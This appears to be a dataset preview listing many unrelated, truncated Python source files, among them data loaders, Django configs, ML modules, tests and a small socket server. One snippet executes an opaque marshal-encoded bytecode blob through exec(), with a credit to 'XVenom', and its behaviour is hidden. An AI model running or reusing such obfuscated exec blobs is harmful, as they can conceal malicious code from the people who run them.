text stringlengths 2 999k |
|---|
"""Pull in what's available for HFMETAR MADIS data
Run from RUN_10MIN.sh
Run from RUN_40_AFTER.sh for two hours ago
"""
from __future__ import print_function
import os
import sys
import datetime
import warnings
import pytz
import numpy as np
from tqdm import tqdm
from metar import Metar
from netCDF4 import chartostri... |
"""
__ConnectRPortPrototype_overlap_MDL.py_____________________________________________________
Automatically generated AToM3 Model File (Do not modify directly)
Author: levi
Modified: Thu Jun 6 12:03:07 2013
___________________________________________________________________________________________
"""
from stickyli... |
#https://blog.paperspace.com/attention-mechanisms-in-computer-vision-cbam/#:~:text=Spatial%20attention%20represents%20the%20attention,features%20that%20define%20that%20bird.
import torch
import torch.nn as nn
import torch.nn.functional as F
from collections import OrderedDict
# from modules.aux.auxiliary import get_ad... |
"""This module describes the ObjectRecognitionServer."""
import traceback
import os
import numpy as np
import rospy
import trimesh
from cosypose.datasets.datasets_cfg import make_urdf_dataset
from geometry_msgs.msg import Point
from object_recognition_msgs.msg import ObjectInformation
from object_recognition_msgs.srv... |
"""
==========================
Author: Niels Justesen
Year: 2018
==========================
This module contains the functions used to load data in the /data/ folder.
"""
from ffai.core.model import *
import json
from ffai.core.util import *
import glob
import untangle
import uuid
# Tile set mapping
arena_char_map =... |
from DesktopFileCreatorStorage import Storage
def replaceFirst(s, old, new):
i = s.find(old)
if(i == -1): return
return s[0:i] + new + s[i+len(old):]
class Options(Storage):
def __init__(self):
super(Options, self).__init__(3)
def createDefaultValue(self):
return ""
d... |
"""
Generate a `load_data` function to use in a data migration.
Usage:
from django.db import models, migrations
from utils.load_data import load_data
class Migration(migrations.Migration):
dependencies = [ ] # dependencies
operations = [
migrations.RunPython(load_data('path/to/fixtures1.json')),
... |
import math, string, itertools, fractions, heapq, collections, re, array, bisect, copy, functools, random
import sys
from collections import deque, defaultdict, Counter; from heapq import heappush, heappop
from itertools import permutations, combinations, product, accumulate, groupby
from bisect import bisect_left, bis... |
from datetime import date
from dateutil.relativedelta import relativedelta
from ib_insync import Stock
from loguru import logger
from ibdatafetcher.security_master import InMemSecuritiesMaster
from ibdatafetcher.spreads import Exchange
from ibdatafetcher.ib_client import gen_ib_client, fetch_data
from ibdatafetcher.mo... |
#!/home/spider/Documents/iert_site/bin/python3.6
#
# The Python Imaging Library.
# $Id$
#
# convert image files
#
# History:
# 0.1 96-04-20 fl Created
# 0.2 96-10-04 fl Use draft mode when converting images
# 0.3 96-12-30 fl Optimize output (PNG, JPEG)
# 0.4 97-01-18 fl Made optimize an option (... |
import numexpr as ne
import numpy as np
class NoiseEmissionsModel:
"""
Calculate propulsion and rolling noise emissions for combustion, hybrid and electric vehicles, based on CNOSSOS model.
:param cycle: Driving cycle. Pandas Series of second-by-second speeds (km/h) or name (str)
of cycle e.g., "... |
#!/usr/bin/env python3
# ----------------------------------------------------------------------------
# MIT License
# display random characters to the roomba display. Note, there are some that
# roomba can't print, those are changed to ' '
import pycreate2
import time
import string
import random
if __name__ == "__ma... |
"""
Dependency management for tools.
"""
import os.path
import logging
log = logging.getLogger( __name__ )
from .resolvers import NullDependency
from .resolvers.galaxy_packages import GalaxyPackageDependencyResolver
from .resolvers.tool_shed_packages import ToolShedPackageDependencyResolver
from .resolvers.conda imp... |
###############################################################################
#
# Tests for XlsxWriter.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright (c), 2013-2021, John McNamara, jmcnamara@cpan.org
#
from ..excel_comparison_test import ExcelComparisonTest
from ...workbook import Workbook
class TestCompar... |
"""drivers/__init__.py
Define an interface to retrieve Terracotta drivers.
"""
from typing import Union, Tuple, Dict, Type
import urllib.parse as urlparse
from pathlib import Path
from terracotta.drivers.base import Driver
URLOrPathType = Union[str, Path]
def load_driver(provider: str) -> Type[Driver]:
if pro... |
import os
import datetime
import pandas as pd
from .constants import SUBMISSION_ID_COLNAME, QUESTION_RANK_SEPARATOR
from . import BALLOT_FOLDER
from .utils import isnan, wc_update_catcher
class WildcatConnectionCSV:
"""
Class for converting a Wildcat Connection exported ballot CSV into
the ballot format f... |
from lxml import etree
from fmi_api import WeatherPoint
class HtmlWeatherTable:
def __init__(self):
self.root = etree.Element("html")
self.table_body = self._create_table()
def _create_table(self) -> etree.Element:
head = etree.SubElement(self.root, "head")
style = etree.S... |
class Solution:
def twoSum(self, numbers: List[int], target: int) -> List[int]:
dic = {}
for i, num in enumerate(numbers):
if target - num in dic:
return [dic[target - num] + 1, i + 1]
dic[num] = i
|
"""
Django settings for blog project.
Generated by 'django-admin startproject' using Django 2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Buil... |
# base16-qutebrowser (https://github.com/theova/base16-qutebrowser)
# Base16 qutebrowser template by theova and Daniel Mulford
# Chalk scheme by Chris Kempson (http://chriskempson.com)
base00 = "#151515"
base01 = "#202020"
base02 = "#303030"
base03 = "#505050"
base04 = "#b0b0b0"
base05 = "#d0d0d0"
base06 = "#e0e0e0"
b... |
import peerpy
peerpy.protocol.default_timeout = .4
|
# -*- coding: utf-8 -*-
def get_validation_digit(number):
""" Calculates the validation digit for the given number. """
sum = 0
dvs = [4, 3, 6, 7, 8, 9, 2]
number = str(number)
for i in range(0, len(number)):
sum = (int(number[-1 - i]) * dvs[i] + sum) % 10
return (10 - sum) % 10
|
from treadmill.infra import connection
from treadmill.infra import ec2object
from treadmill.infra import constants
from treadmill.api import ipa
from datetime import datetime
from functools import reduce
import logging
import polling
_LOGGER = logging.getLogger(__name__)
class Instance(ec2object.EC2Object):
de... |
# coding=utf-8
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# -----------------------------------------------------... |
import torch
import argparse
import os
import torch.nn as nn
import torch.nn.functional as F
import torchvision
from auto_LiRPA import BoundedModule, BoundedTensor
from auto_LiRPA.perturbations import *
parser = argparse.ArgumentParser()
args, unknown = parser.parse_known_args()
class Flatten(nn.Module):
def _... |
"""
This file handles searching and adding workouts
"""
from flask import (Blueprint, render_template, flash,
session, request, redirect, url_for, json)
from flaskapp import db
bp = Blueprint('workout', __name__, url_prefix='/workout')
@bp.route('/')
def workout():
"""
Page where user adds... |
# Generated by Django 3.2.5 on 2021-07-24 09:56
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Admin',
fields=[
... |
#!/usr/bin/env python3
#
# RtlPlatform.py
# Copyright (c) 2018, 2019 Lucio Andrés Illanes Albornoz <lucio@lucioillanes.de>
# This project is licensed under the terms of the MIT licence.
#
import os, platform
def getLocalConfPathName(*args):
vname = "LOCALAPPDATA" if platform.system() == "Windows" else "HOME"
... |
# Copyright 2016 Rackspace
# Copyright 2013 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... |
import logging
import math
import os
import time
from datetime import datetime, timedelta, timezone
from itertools import count
import functools
import requests
from joblib import Parallel, delayed
from toolz import partition_all
from yearn.outputs.victoria import output_duration
from yearn.yearn import Yearn
from dat... |
import socket
HOST = ""
PORT = 1500
MAX_CONNECTIONS = 3
MAX_BYTES = 1024
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.listen(MAX_CONNECTIONS)
print("Online Server")
(client_socket, address) = server_socket.accept()
print("Connected\n")
mesage = ''
... |
from fumblr.keys import IMGUR_SECRET, IMGUR_ID
from imgurpython import ImgurClient, helpers
import os
import base64
API_URL = 'https://api.imgur.com/3/'
def get_client():
"""
Get an API client for Imgur
Returns:
Imgur client if it is available
"""
try:
return ImgurClient(IMGUR_ID... |
from torch.utils.data.dataloader import DataLoader
import os
import sys
from typing import List, Tuple, Union, Optional
import torch
import torchvision
from PIL import Image
from torch.utils.data import \
SubsetRandomSampler, Sampler, Subset, ConcatDataset, Dataset, random_split
from torchvision.transforms import... |
from flask import Flask, jsonify, request
import argparse
import msgpack
import numpy as np
import os
import rocksdb
parser = argparse.ArgumentParser()
parser.add_argument('database', metavar='DATABASE', help='path to the database')
parser.add_argument('--port', type=int, default=5000, help='path to the database')
arg... |
import _plotly_utils.basevalidators
class FamilysrcValidator(_plotly_utils.basevalidators.SrcValidator):
def __init__(
self,
plotly_name="familysrc",
parent_name="histogram2dcontour.hoverlabel.font",
**kwargs
):
super(FamilysrcValidator, self).__init__(
plot... |
import RPi.GPIO as GPIO
import time
power_channel = 24
def blink(times):
print("start blink:" + str(times))
GPIO.setmode(GPIO.BCM)
GPIO.setup(power_channel, GPIO.OUT, initial=GPIO.HIGH)
GPIO.output(power_channel, GPIO.LOW)
time.sleep(times)
GPIO.output(power_channel, GPIO.HIGH)
time.sleep... |
_base_ = './stdc1_512x1024_80k_cityscapes.py'
model = dict(backbone=dict(backbone_cfg=dict(stdc_type='STDCNet2')))
|
from tests.resources.base_class import BaseClass
class ClassD(BaseClass):
def __init__(self):
pass |
from unittest.mock import MagicMock
from .ts import ThompsonSampling
class TestThompsonSampling:
"""Test thompson sampling policy"""
def test_simple_run(self):
ts_learner = ThompsonSampling(arm_num=4, horizon=10)
ts_learner.reset()
ts_learner.actions_from_beta_prior = MagicMock(return_value=1)
#... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2014 Klaudiusz Staniek
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... |
import os
from argparse import ArgumentParser
from pathlib import Path
from shutil import copyfile
from typing import List
from datasets import config
from datasets.builder import DatasetBuilder
from datasets.commands import BaseDatasetsCLICommand
from datasets.load import import_main_class, prepare_module
from datase... |
#Encript Marshal By XVenom
#https://github.com/xvenom15
import marshal
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00sF\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x02l\x01m\x02Z\x02\x01\x00d\x00d\x03l\x03m\x04Z\x04\x01\x00e\x02d\x04d\x05d\x06\x8d\x02d\x... |
# Importing the base class
from KratosMultiphysics.CoSimulationApplication.base_classes.co_simulation_predictor import CoSimulationPredictor
# Other imports
import KratosMultiphysics.CoSimulationApplication.co_simulation_tools as cs_tools
def Create(settings, solver_wrapper):
cs_tools.SettingsTypeCheck(settings)
... |
from typing import Optional
from sqlalchemy import select
from sqlalchemy.ext.asyncio import AsyncSession
from Backend.crud.base import CRUDBase
from Backend.database.models import Roles
class CRUDRoles(CRUDBase):
async def upsert(self, db: AsyncSession, guild_id: int, role_name: str, role_id: int):
"""... |
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
"""Functions simillar of inspired by the SPM package:
"""
import nibabel as nib
import torch
import math
from nitorch.core.kernels import smooth
from nitorch.vb.mixtures import GMM
from nitorch.vb.mixtures import RMM
from nitorch.spatial import im_gradient
from nitorch.core.constants import inf
from nitorch.plot impo... |
#!/usr/bin/env python3
#coding:utf-8
class LNode(object):
def __init__(self, x=None):
self.val = x
self.next = None
"""
引申:若单链表有环,如何判断两个链表是否相交
1. 若一个有环,另一个没环,肯定不相交
2. 若都有环(忽略环为交点的情况),应是先相交,再有环,如下
head1->1->2->3
\
->4->5->6-7
/ ^ v
head2->11->12- ... |
import asyncio
import websockets
import json
import requests
import dateutil.parser as dp
import hmac
import base64
import zlib
import datetime
def bugerror(errInf,ctype=''):
_http = requests.session()
gUrl = 'https://link.yjyzj.cn/api'
pdata = {'viewid': 'home', 'part': 'collect',
'ctype': c... |
"""
merge sort
- 단어 vocabulary 정렬하기
"""
arr = ["y", "r", "a", "l", "u", "b", "a", "c", "o", "v"]
def merge_sort(arr):
if len(arr) == 1:
return arr
middle = len(arr) // 2
left_arr = merge_sort(arr[:middle])
right_arr = merge_sort(arr[middle:])
return merge(left_arr, right_arr)
def merge(a... |
# Generated by Django 2.0.5 on 2018-05-28 15:28
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('ticketing', '0001_initial'),
]
operations = [
migrations.AlterUniqueTogether(
name='order',
unique_together={('session_id', ... |
import importlib
import random
import time
from collections import defaultdict
from server import app, database, reloader
from server.models import Flag, FlagStatus, SubmitResult
def get_fair_share(groups, limit):
if not groups:
return []
groups = sorted(groups, key=len)
places_left = limit
... |
# Copyright (c) 2022, Frappe Technologies Pvt. Ltd. and Contributors
# License: MIT. See LICENSE
from itertools import product
from typing import Dict, List, Optional
import frappe
from frappe.model.rename_doc import get_link_fields
def update_linked_doctypes(doctype: str, docname: str, linked_to: str, value: str, ... |
from ..custom import CustomDataset
import os.path as osp
import mmcv
import numpy as np
from ..utils import to_tensor, random_scale
from ..transforms import ImageTransform
import cv2
class CoderSingleDataset(CustomDataset):
def __init__(self,
ann_file,
img_prefix,
... |
#***************************************************************************
# _ _ ____ _
# Project ___| | | | _ \| |
# / __| | | | |_) | |
# | (__| |_| | _ <| |___
# \___|\___/|... |
import settings
import pandas as pd
from loader.DWY_Neighbor import NeighborsLoader
from loader.DBP15k import DBP15kLoader
from script.preprocess.get_token import Token
from settings import *
import numpy as np
import torch
class NeighborToken(object):
def __init__(self, dbpToken, loader):
self.loader = lo... |
nombres = ["Harry", "Ron", "Hermione"]
nombres.append("Draco")
nombres.sort()
print(nombres) |
"""Cloud satellite manager
Here we use dotcloud to lookup or deploy the satellite server. This also
means we need dotcloud credentials, so we get those if we need them.
Most of this functionality is pulled from the dotcloud client, but is
modified and organized to meet our needs. This is why we pass around and
work wi... |
import pytest
from anovos.data_analyzer.quality_checker import *
sample_parquet = "./data/test_dataset/part-00000-3eb0f7bb-05c2-46ec-8913-23ba231d2734-c000.snappy.parquet"
sample_csv = "./data/test_dataset/part-00000-8beb3930-8a44-4b7b-906b-a6deca466d9f-c000.csv"
sample_avro = "./data/test_dataset/part-00000-f12ee684-... |
import wgpu # only for flags/enums
from . import register_wgpu_render_function
from ._shadercomposer import Binding, WorldObjectShader
from .pointsrender import handle_colormap
from ...utils import array_from_shadertype
from ...resources import Buffer
from ...objects import Line
from ...materials import (
LineMat... |
import json
import unittest
from requests.models import Response
from localstack import config
from localstack.services.kinesis.kinesis_listener import UPDATE_KINESIS
from localstack.utils.common import to_str
TEST_DATA = '{"StreamName": "NotExistingStream"}'
class KinesisListenerTest(unittest.TestCase):
def te... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... |
# Generated by Django 2.0.7 on 2018-07-03 21:27
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Dataset',
fields=[
... |
# -*- coding: utf-8 -*-
# Scrapy settings for stanford_openclassroom_downloader project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy... |
from datetime import datetime
from flask_restplus import Resource, fields
from flask import request, current_app
from app.extensions import api
from app.api.mines.mine.models.mine import Mine
from app.api.mines.permits.permit.models.permit import Permit
from app.api.utils.access_decorators import requires_role_view_... |
from django.conf import settings
from django.db import models
from project.auth.helpers import hide_key
class AccessKey(models.Model):
key = models.CharField(max_length=256, unique=True)
user = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.CASCADE
)
def __str__(self):... |
__copyright__ = "Copyright (c) 2020 Jina AI Limited. All rights reserved."
__license__ = "Apache-2.0"
import mimetypes
import os
import urllib.parse
import uuid
from typing import Iterator, Union, Tuple
import numpy as np
from ...drivers.helper import guess_mime
from ...enums import ClientMode
from ...helper import ... |
#!/usr/bin/python2.7
#
# This file is part of khmer, http://github.com/ged-lab/khmer/, and is
# Copyright (C) Michigan State University, 2009-2014. It is licensed under
# the three-clause BSD license; see doc/LICENSE.txt.
# Contact: khmer-project@idyll.org
#
# pylint: disable=missing-docstring,invalid-name
"""
Do all t... |
# Copyright 2012 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Copyright 2012 Nebula, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the... |
import sys
from loguru import logger
logger.remove()
logger.add(sys.stderr, format="", diagnose=False, backtrace=False, colorize=False)
logger.add(sys.stderr, format="", diagnose=True, backtrace=False, colorize=False)
logger.add(sys.stderr, format="", diagnose=False, backtrace=True, colorize=False)
logger.add(sys.std... |
import operator
from dataclasses import dataclass
from functools import reduce
from typing import Any
from mpyc.random import random_unit_vector
from mpyc.runtime import mpc
from mpyc.sectypes import Share
from src.array import ObliviousArray
from src.output import Secret, output
from src.secint import secint
from sr... |
# ***********************************************************************
#
# FILE tutorial-02-diffusion-1D-solvers-FTCS.py
#
# AUTHOR Dr. Vishal Sharma
#
# VERSION 1.0.0-alpha4
#
# WEBSITE https://github.com/vxsharma-14/project-NAnPack
#
# NAnPack Learner's Edition is dist... |
# mult.py
# Author: Dixon Crews
# CSC 505-001, Fall 2016
# Homework 3, #1
###############################################################################
# Import needed libraries
import sys
###############################################################################
# Define matrixChainOrder() function
# Algori... |
# This source file is part of the Swift.org open source project
#
# Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors
# Licensed under Apache License v2.0 with Runtime Library Exception
#
# See http://swift.org/LICENSE.txt for license information
# See http://swift.org/CONTRIBUTORS.txt for the list of ... |
from django.test import TestCase
from casexml.apps.phone.models import OTARestoreCommCareUser, OTARestoreWebUser
from corehq.apps.domain.models import Domain
from corehq.apps.locations.tests.util import LocationHierarchyTestCase
from corehq.apps.ota.utils import get_restore_user, is_permitted_to_restore
from corehq.a... |
"""Celery state and task callbacks."""
from functools import wraps
import time
from .attachments import get_beat_init_attachment
from .attachments import get_broker_connect_attachment
from .attachments import get_broker_disconnect_attachment
from .attachments import get_celery_shutdown_attachment
from .attachments imp... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @File: scripts/create_custom_project_from_alyx.py
# @Author: Niccolo' Bonacchi (@nbonacchi)
# @Date: Tuesday, August 17th 2021, 5:21:16 pm
import iblrig.pybpod_config as pc
import argparse
if __name__ == "__main__":
parser = argparse.ArgumentParser(
descriptio... |
import subprocess
import json
import pytest
from unittest import mock
from BALSAMIC.commands.run.scheduler import SbatchScheduler
from BALSAMIC.commands.run.scheduler import QsubScheduler
from BALSAMIC.commands.run.scheduler import submit_job
from BALSAMIC.commands.run.scheduler import read_sample_config
from BALSAMI... |
import os
os.chdir('D:\文档\pythonDir\chapter06')
def sanitize(time_string):
if '-' in time_string:
splitter='-'
elif ':' in time_string:
splitter=':'
else:
return time_string
(mins,secs)=time_string.split(splitter)
return(mins+'.'+secs)
def openFile(flieName):
try:
... |
#!/usr/bin/python3
"""
fast functions to read from raw input csv files and create TimeseriesArray/Timeseries Structures
csv -> TSA (definiton of many Timeseries) -> TS1
-> TS2
-> ...
"""
import os
import gzip
import json
import time
im... |
import logging
from abc import ABC
from cloud_inquisitor.database import db
from cloud_inquisitor.schema import Enforcements, Resource
from sqlalchemy.exc import SQLAlchemyError
class Enforcement(ABC):
"""Base Object for Enforcement Actions"""
def __init__(self, enforcement):
self.enforcement = enfo... |
#!/usr/bin/python
# Copyright IBM Corp. 2020 All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
from __future__ import absolute_import
import contextlib
import errno
import io
import locale
# we have a submodule named 'logging' which would shadow this if we used the
# regular name:
import logging as std_logging
import os
import posixpath
import re
import shutil
import stat
import subprocess
import sys
import tar... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
# -*- coding: utf-8 -*-
# File: trainers.py
import multiprocessing as mp
import os
import sys
import tensorflow as tf
from tensorpack.compat import tfv1
from ..callbacks import CallbackFactory, RunOp
from ..graph_builder.distributed import DistributedParameterServerBuilder, DistributedReplicatedBuilder
from ..graph_b... |
from datetime import date
current_date = date.today()
class Note():
def __init__(self, title, memo, tags):
self.__title = title
self.__memo = memo
self.__tags = tags
self.__creation_date = current_date
@property
def title(self):
return self.__title
@property
... |
import requests
from netaddr import IPNetwork
from multiaddr import Multiaddr
from lxml import html
import csv
# get_cloud gets the cloud info of given peers.
# It takes an sql connection, the peer ids as arguments, and
# returns the cloud info of these peer ids.
def get_cloud(conn, peer_ids):
cur = conn.cursor()... |
from algebra import WrappedFunction, Function, proven
from algebra.pretty import need_parens
from mlkernels import (
Kernel,
pairwise,
elwise,
)
from .. import _dispatch
__all__ = ["AmbiguousDimensionalityKernel"]
class AmbiguousDimensionalityKernel(Kernel, WrappedFunction):
"""A kernel whose dimens... |
# x_6_2
#
# 「6-1」のmembersのように要素にリストを持つリストを多重リストと呼びます
# 「〒700-0045 岡山県岡山市 桃太郎様」のように1行づつ表示してください。
addresses = [
['桃太郎', '700-0045', '岡山県', '岡山市'],
['いぬ', '701-0101', '岡山県', '倉敷'],
['さる', '708-0000', '岡山県', '津山市'],
['きじ', '706-0000', '岡山県', '玉野市'],
]
|
from sign.getTasks import get_params
from sign.getTasks import view_task_page
from sign.getTasks import get_tasks
from sign.genal_sign import genal_sign
from sign.location_sign import location_sign
__all__ = [
'get_params',
'view_task_page',
'get_tasks',
'genal_sign',
'location_sign',
]
|
# Copyright (c) 2011 Jeff Garzik
#
# Previous copyright, from python-jsonrpc/jsonrpc/proxy.py:
#
# Copyright (c) 2007 Jan-Klaas Kollhof
#
# This file is part of jsonrpc.
#
# jsonrpc is free software; you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# th... |
from polyphony import testbench
@testbench
def test():
assert 1
assert not 0
test()
|
"""Define messages for connections admin protocol."""
# pylint: disable=invalid-name
# pylint: disable=too-few-public-methods
import re
from typing import Any, Dict
from aries_cloudagent.connections.models.conn_record import ConnRecord
from aries_cloudagent.core.profile import InjectionContext, Profile
from aries_cl... |
import os.path as osp
import shutil
import yaml
from labelme.logger import logger
here = osp.dirname(osp.abspath(__file__))
def update_dict(target_dict, new_dict, validate_item=None):
for key, value in new_dict.items():
if validate_item:
validate_item(key, value)
if key not in targ... |
# -*- coding: utf-8 -*-
import sys
sys.path.insert(0,'..')
import numpy as np
np.random.seed(42)
import sklearn
from sklearn.datasets import load_iris, load_boston
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor
from ceml.sklearn import g... |
#!/usr/bin/python
from __future__ import absolute_import, division, print_function
# Copyright 2019-2021 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the ... |
import re
import struct
import sysv_ipc
import time
import math
class WebIPCControl:
config = None
configConfig = None
debugLevel = 0
master = None
webIPCkey = None
webIPCqueue = None
def __init__(self, master):
self.config = master.config
try:
self.configConf... |
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from django.urls import reverse_lazy
from django.views.generic import ListView, FormView, UpdateView, DeleteView
from django.shortcuts import redirect
from medrecords_app.models import MedicalRecord
from medrecords... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Example
# =============================================================================
#
#
# You can access main configuration module or better create your own in the
# config module:
#
# from core.config.settings import DEMO_MUSIC_DIR
#
#
# Simple command example... |
"""
Deutscher Wetterdienst: API
Aktuelle Wetterdaten von allen Deutschen Wetterstationen # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from deutschland.dwd.model_utils import ( # noqa: F401... |
##
# API KEY AIzaSyAY1aatbdVCglJhXI0HFddm5pEkPTUpBFU
#python3.6
# importing required libraries
import sys
"""
using Google Maps API to get directions from \
- start point to end end_point
- purpose is
- - to grab the distance in miles from start to end_point
- - to grab time in hours and minutes from start to end po... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.